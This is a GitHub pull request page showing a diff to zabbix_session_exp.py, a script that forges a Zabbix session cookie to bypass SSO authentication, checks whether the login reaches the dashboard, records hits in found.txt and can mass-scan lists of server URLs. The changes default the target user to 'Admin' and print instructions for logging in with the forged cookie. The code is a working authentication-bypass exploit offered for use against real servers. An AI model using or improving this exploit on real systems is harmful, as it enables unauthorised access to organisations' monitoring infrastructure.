Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Minor impovements #2

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 7 additions & 15 deletions zabbix_session_exp.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@
import sys
import random
from time import sleep
import tldextract
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
Expand Down Expand Up @@ -64,10 +63,13 @@ def exp(target, username):
print("Unable to get Cookie for "+resp.url+"\n")
return True
if zbx_session:
cookies2 = {"zbx_session":payload}
response = session.get(""+resp.url+"index_sso.php", headers=headers,cookies=cookies2,verify=False)
for cookie in session.cookies:
if cookie.name == "zbx_session":
cookie.value = payload
break
response = session.get(""+resp.url+"index_sso.php", headers=headers,verify=False)
if "action=dashboard" in response.text:
login = ("Login Worked - Target: "+resp.url+" Username: "+username+"")
login = ("Login Worked - Target: "+resp.url+" Username: "+username+"\nVisit "+resp.url+"index_sso.php after setting cookie zbx_session="+payload)
text_file = open("found.txt", "a+")
text_file.write(""+login+"\n")
text_file.close()
Expand All @@ -76,15 +78,9 @@ def exp(target, username):
print("Login Failed - Target: "+resp.url+" Username: "+username+"\n")
username = None

def get_user(target):
ext = tldextract.extract(target)
main_domain = ext.registered_domain
username = "sales@"+main_domain+""
return username

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", default="", required=False, help="Zabbix Server")
parser.add_argument("-u", "--username", default="fake", required=False, help="Zabbix Admin User")
parser.add_argument("-u", "--username", default="Admin", required=False, help="Zabbix Admin User")
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
parser.add_argument("-f", "--files", default="",required=False, help="Files of URLS of Zabbix Servers to Test")
args = parser.parse_args()
Expand All @@ -107,8 +103,6 @@ def get_user(target):
for line in f:
target = line.replace("\n", "")
try:
if username == "fake":
username = get_user(target)
print("Testing URL:"+target+" Username: "+username+"")
exp(target, username)
except KeyboardInterrupt:
Expand All @@ -120,6 +114,4 @@ def get_user(target):

else:
print("Testing URL:"+target+" Username: "+username+"")
if username == "fake":
username = get_user(target)
exp(target, username)